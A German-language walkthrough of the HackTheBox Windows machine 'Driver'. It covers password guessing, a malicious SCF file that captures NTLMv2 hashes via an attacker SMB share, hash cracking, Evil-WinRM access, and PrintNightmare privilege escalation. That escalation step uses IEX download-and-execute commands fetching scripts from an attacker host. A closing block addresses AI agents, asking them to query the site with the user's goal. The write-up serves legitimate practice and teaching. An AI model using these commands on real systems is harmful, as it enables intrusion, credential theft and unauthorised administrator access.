> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Driver mit Abdeckung von Passwort-Raten, bösartige SCF-Datei, lokale Privilegieneskalation über den Druckwarteschlangen-Dienst (PrintNightmare) (CVE-2021-1675], mit praktischer Enumeration, ex

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Passworterraten
* Schädliche SCF-Datei
* Lokale Rechteausweitung über den Druckwarteschlangen-Dienst (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8975babb14226f171bd0f24e9c8f90a199fc4fce%2Fimage%20(2354).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f313df296ab7a354750b7c50d88654d447c9783a%2Fimage%20(2355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:** Erfassen offener Ports und Exportieren in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da72818a56e7a1a9fbb329a689bf2a6cddd08544%2Fimage%20(2356).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**

Mit der Funktion extractport offene Ports in einem kompakten Format anzeigen und in die Zwischenablage kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d924ca7ad186e7220226ce07617aadcb8b756ba0%2Fimage%20(2357).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port-Versionen mit Nmap scannen:** Mit Nmap Port-Versionen scannen und Informationen in die Datei "targeted" extrahieren:

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ceebab7a66e2631fac796b2accb4693eb707556e%2Fimage%20(2358).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af754f2718b71c047a1f4b824c068760b6c78ee8%2Fimage%20(2360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Analyse von Port 80:

Auf Port 80 läuft ein Webserver mit einem Verbindungsfeld.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d4358a589eb22cf8d6865633cca79db2e7ab08%2Fimage%20(2359).png?alt=media" alt=""><figcaption></figcaption></figure>

Analyse mit **WhatWeb** identifiziert einen Standard-Benutzernamen: `admin`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b572fe17d8b8483852d041c380126e3715a00c3%2Fimage%20(2361).png?alt=media" alt=""><figcaption></figcaption></figure>

Verbindungsversuch zu `admin:admin` als Anmeldedaten.

### MFP-Firmware-Update-Center:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c2e4fa7afeac78ab2054457d43d48820da83e6%2Fimage%20(2362).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Website bietet eine Option zum Herunterladen der Firmware. Die Nachricht weist darauf hin:

> Wählen Sie das Druckermodell aus und laden Sie das entsprechende Firmware-Update auf unsere Dateifreigabe hoch. Unser Testteam wird die Downloads manuell prüfen und bald mit den Tests beginnen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a103e1eaa660e3d39c978a9ed7a7baa4cbbb8a7%2Fimage%20(2363).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung - schädliche SCF-Datei :

Erstellen einer bösartigen `.scf` Datei, um beim Öffnen den NTLMv2-Hash eines Benutzers abzufangen:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Lauschend mit **impacket** zum Abfangen von NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Erfasse den NTLMv2-Hash für den Benutzer `tony`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8da4df51c2563ba56afa6c970633def0b257d19%2Fimage%20(2366).png?alt=media" alt=""><figcaption></figcaption></figure>

Knacke den NTLM-Hash mit **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b50cf05df25f3efb5bf2c48fe685df54937bdd0%2Fimage%20(2367).png?alt=media" alt=""><figcaption></figcaption></figure>

## SMB- und WinRM-Verbindung:

**Zugriffsüberprüfung** mit CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfa4134b21fbc453f0db0b7a4d19fe00bb208d31%2Fimage%20(2368).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* Verbindung mit CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47a8d2ad16655c87e7afe516d3c54d4da60cba74%2Fimage%20(2369).png?alt=media" alt=""><figcaption></figcaption></figure>

**Übernimm die Kontrolle mit Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation :

### **1. Aufklärung mit PowerUp:**

* Herunterladen des **PowerUp.ps1** Skript auf dem Angriffsrechner und Hinzufügen des `Invoke-AllChecks` Befehls am Ende, um alle Prüfungen zu starten.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Übertragung des Skripts auf den Opferrechner über einen Python-HTTP-Server:

```bash
python3 -m http.server 80
```

Ausführung auf dem Zielrechner:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Ergebnis**: Keine relevanten Elemente gefunden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e7f25b980206f6008a8d7a66adf0f03ea938545%2Fimage%20(1179).png?alt=media" alt=""><figcaption></figcaption></figure>

### **2. Aufklärung mit winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Übertragung des Tools **winPEASx64.exe** auf den Opferrechner:

`winPEASx64.exe hochladen`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db7b8bc1487a3b5d3e72148f7c7f5fb9177b2019%2Fimage%20(1180).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba43ece935e8c3f122dafd0f35e29563b01bf865%2Fimage%20(1181).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Ausnutzung von PrintNightmare (CVE-2021-1675)**

Ein verwundbarer **spoolsv** Prozess wird erkannt, der auf einem TCP-Port lauscht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7758f2014f5d29c3d5e3c9cc95202fee368cf30%2Fimage%20(1182).png?alt=media" alt=""><figcaption></figcaption></figure>

Verwendung eines Exploit-Skripts für PrintNightmare, verfügbar auf GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8357b9d6b652d259f51df09283909a51a1dd2e37%2Fimage%20(1184).png?alt=media" alt=""><figcaption></figcaption></figure>

Hier sind die auszuführenden Befehle:

1. **Übertragung des Skripts** um eine Blockierung durch Windows Defender zu vermeiden:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Erstellung eines Administratorbenutzers** namens `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b59ad3640cd6e10b5da34ea29a6b553d594efb%2Fimage%20(1185).png?alt=media" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Status**: `jordan` Der Benutzer ist nun in der Administratorengruppe.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a853ac3f31ce52365a4a213bc231b7ddcbfa48c%2Fimage%20(1187).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verbindung mit Administratorrechten

Verbindung zum Rechner via WinRM mit **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce5c738fcc46f4d5e63cf09f401039efcf4571d6%2Fimage%20(1186).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b75823455d97d446599d2996c5be8342cf131a5c%2Fimage%20(1188).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f16b306249b5b417cd48781dbfd4ae868bb2757a%2F%7B4038B3C8-9E7D-4907-9CE6-B5E611D5FA88%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
